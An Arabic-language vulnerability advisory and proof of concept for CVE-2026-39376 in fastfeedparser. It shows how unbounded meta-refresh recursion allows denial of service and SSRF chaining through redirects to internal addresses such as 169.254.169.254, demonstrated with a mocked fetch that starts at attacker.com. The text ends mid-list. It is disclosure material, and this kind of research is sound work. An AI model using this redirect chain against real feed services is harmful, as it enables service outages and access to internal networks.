
إثبات المفهوم لثغرة CVE-2026-39376، يوضح حلقة إعادة توجيه لا نهائية كرفض للخدمة عبر سلاسل التحديث التلقائي في fastfeedparser، مع إمكانية ربط SSRF.
CVE-2026-39376(حلقة إعادة توجيه لا نهائية تسبب رفض الخدمة عبر سلسلة meta-refresh)
عندما يقوم parse() بجلب عنوان URL يعيد صفحة HTML تحتوي على وسم <meta http-equiv="refresh">، فإنه يستدعي نفسه بشكل متكرر مع عنوان URL الخاص بإعادة التوجيه — دون حد أقصى للعمق، ودون إزالة تكرار عناوين URL التي تمت زيارتها، ودون حد أقصى لعدد عمليات إعادة التوجيه. يؤدي خادم يتحكم فيه المهاجم ويعيد سلسلة لا نهائية من استجابات HTML meta-refresh إلى تكرار غير محدود، مما يستنزف مكدس استدعاءات Python ويؤدي إلى تعطل العملية. يمكن أيضًا ربط هذه الثغرة مع ثغرة SSRF المصاحبة للوصول إلى أهداف الشبكة الداخلية بعد تجاوز فحص عنوان URL الأولي.
يلتقط parse() استثناء ValueError عند فشل تحليل XML، ويستخرج عنوان URL الخاص بـ meta-refresh من استجابة HTML عبر _extract_meta_refresh_url()، ثم يستدعي نفسه بشكل ذيلي مع ذلك العنوان. الاستدعاء المتكرر غير مشروط — لا يوجد حد أقصى لعمق إعادة التوجيه، ولا مجموعة لعناوين URL التي تمت زيارتها بالفعل، ولا حماية ضد عمليات إعادة التوجيه ذاتية الإحالة أو الحلقية.
fastfeedparser/main.py — parse() (نقطة الاستدعاء المتكرر):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← تكرار غير مشروط، دون حد أقصى للعمق
تستخدم _extract_meta_refresh_url() الدالة urljoin(base_url, match.group(1)) بحيث يتم اتباع عناوين URL النسبية، والنسبية للبروتوكول (//host/path)، والمطلقة في خاصية content= جميعها.
لا يتطلب خادمًا حيًا. يقوم الكود التالي باستبدال _fetch_url_content لإرجاع سلسلة HTML meta-refresh لا نهائية وتأكيد التكرار غير المحدود:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
كل استدعاء متكرر ينفذ طلب HTTP حقيقي (مهلة 30 ثانية)، وتحليل HTML، وتخصيص إطار مكدس في Python. مع حد التكرار الافتراضي في Python البالغ 1000 ومهلة 30 ثانية لكل طلب، يمكن لطلب واحد من المهاجم إبقاء خيط خادم مشغولًا لمدة تصل إلى ~8 ساعات قبل رفع استثناء RecursionError.
نسخة سلسلة SSRF: يمكن أن تكون الاستجابة الأولى HTML مشروعة تعيد التوجيه إلى عنوان داخلي (http://192.168.1.1/)، مما يسمح لحلقة إعادة التوجيه بالعمل أيضًا كتجاوز لـ SSRF للأهداف التي قد يتم حظرها بخلاف ذلك بواسطة التحقق من عنوان URL على مستوى التطبيق المطبق فقط على العنوان الأولي.
هذه ثغرة رفض خدمة (DoS) مع تأثير ثانوي لربط SSRF. أي تطبيق يقبل عناوين URL موجزات يقدمها المستخدم ويستدعي fastfeedparser.parse() يتأثر — بما في ذلك مجمعات RSS، وخدمات معاينة الموجزات، وميزات "الاشتراك عبر عنوان URL". يمكن للمهاجم دون أي مصادقة:
RecursionError بعد ~1000 عملية إعادة توجيه